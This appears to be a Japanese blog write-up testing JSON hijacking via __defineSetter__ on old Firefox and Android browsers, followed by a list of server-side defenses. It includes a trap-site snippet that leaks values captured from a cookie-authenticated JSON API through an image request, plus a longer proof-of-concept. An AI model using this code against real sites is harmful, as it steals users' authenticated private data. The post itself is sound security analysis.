0-9:
こないだShibuya.XSSで徳丸さんが紹介されてたObject.prototype.__defineSetter__を使ったJSON Hijackingに関して「Fx3系とAndroid 2系で動作する」とのことだったので検証してみた。
前書き
__defineSetter__とはブラウザベンダーが独自実装したProperty AccessorでECMAScriptには定義されていない(ECMAScriptでは別の方法が定義された)
具体的な使い方は以下のとおり。
hoge = {};
hoge.__defineSetter__(‘huga’, function(val) {
this.huga_ = val;
});
hoge.huga = ‘foo’;
alert(hoge.huga_); // -> alert(“foo”);
Fxではかなり古くから実装されており、ExtensionやUserScriptでは結構利用されている。
問題点
ただ、この実装にはセキュリティ上の問題があり、以下のようなコードが書かれた場合問題になる場合がある。
罠サイト
<script>
Object.prototype.__defineSetter__(‘security_info’, function (val) {
(new Image).src = ‘/log/’ + val;
});
</script>
<script src=”http://example.com/cookieで認証しており、秘密の情報が入ったJSONを返すAPI”></script>
なぜこんな結果になるかというと、JSON APIが返す結果はJS上では単なるObjectで、その__defineSetter__が設定されてれば動作上はそのアクセサを呼び出すのが正しいから。
実際この方法はかなり既知の話で「defineSetter JSON Hijacking」とかで検索すると結構色々情報が出てくる。
実証コード
ただし、ネット上は古い情報が多くあまりAndroidでの話もなかったので、実際に動く検証コードを作ってみた。
http://fiddle.jshell.net/ARMNH/15/show/
コードは以下のとおり。
<script>
var result = {};
//JSON APIが返すkeyをObject.prototype.__defineSetter__に設定
[‘SimpleObjectKey’, ‘ArrayObjectKey’, ‘ObjectArrayKey1’, ‘ObjectArrayKey2’].forEach(function (key) {
result[key] = undefined;
Object.prototype.__defineSetter__(key, function(val) {
result[key] = val;
});
});
//ついでにArray Constructorの上書きもチェック
Array = function () {
result[‘ArrayConstructor’] = [this, [].slice.call(arguments)];
};
//キャッシュを殺すためのepoch秒を生成
var time = (new Date).getTime();
//JSON APIに見立てたファイルを読み込む
//{“SimpleObjectKey”:”SimpleObjectValue”}を返すAPI
document.write(‘<script src=”http://jsdo.it/kyo_ago/SimpleObject/js?’+time+’”><\/script>’);
//[{“ArrayObjectKey”:”ArrayObjectValue”}]を返すAPI
document.write(‘<script src=”http://jsdo.it/kyo_ago/ArrayObject/js?’+time+’”><\/script>’);
//{“ObjectArrayKey1”:[{“ObjectArrayKey2”:”ObjectArrayValue”}]}を返すAPI
document.write(‘<script src=”http://jsdo.it/kyo_ago/ObjectArrayKey/js?’+time+’”><\/script>’);
//JSON APIが読み込まれたら変数を一定期間ごとに表示し続ける
window.addEventListener(“load”, function () {
var pre = document.createElement(‘pre’);
document.body.appendChild(pre);
pre.innerHTML = JSON.stringify(result, ”, ‘\t’);
setInterval(function () {
pre.innerHTML = JSON.stringify(result, ”, ‘\t’);
}, 1000);
}, false);
</script>
手元の環境ではAndroid 2.3.4 NW-Z1050(Sony Android WALKMAN)でArrayObjectKeyのみ読込が成功した。
制限事項
上記のコードで検証した範囲では普通の{}形式では攻撃は成功せず、[]で包んだ場合のみ攻撃が成功した。
これは検証方法に問題がある可能性もあるが、ネット上の情報でも同じように必ず[]でくるんでいたので{}形式では成功しないのかもしれない。
攻撃されうる環境
・Android 2系、Fx3系でアクセスされる可能性がある
・Cookieで認証している
・[]で包んだ形式で秘密の情報を返している
防御方法
・クライアントからはPOSTでアクセスし、GETアクセスを拒否する
攻撃者はscript[src]でアクセスするのでGETを弾けば攻撃は成功しない
・X-Requested-Withを確認する
jQueryやprototype.jsはXHRで通信する際にhttp headerにX-Requested-With : XMLHttpRequestを入れるので、もしそのAPIへアクセスするJSがjQueryやprototype.jsだけであるなら上記のヘッダを確認することで攻撃を防ぐことが可能
(XHRに自動的につくわけではないので、自前でXHRしてるなら自分でX-Requested-With : XMLHttpRequestをつける必要がある)・壊れたJSONを返す
JSONの先頭にdon’t evilだとか、while (1);とか書いておいて、JSでtextとして受け取ったあとにその内容を正しいJSONに書き換えて解釈する
(Googleは内部用のAPIにはこの方法を取っている)・Referrerを確認する
防衛対象がAndroid 2系の標準ブラウザのみであるなら、「UAがAndroid 2系でReferrerが外部の場合」のみエラーにすれば攻撃を防げるかもしれない。
(Android 2系の標準ブラウザのみならUA偽装の可能性は非常に低い)
Referrerに頼るのはあまり良い方法ではないので、緊急回避的な場合以外はおすすめしない結論
攻撃されうる環境がかなり限定されるので、悪用するのはかなり難しい。
参考
PHPのイタい入門書を読んでAjaxのXSSについて検討した(3)~JSON等の想定外読み出しによる攻撃~ - ockeghem(徳丸浩)の日記 http://d.hatena.ne.jp/ockeghem/20110907/p1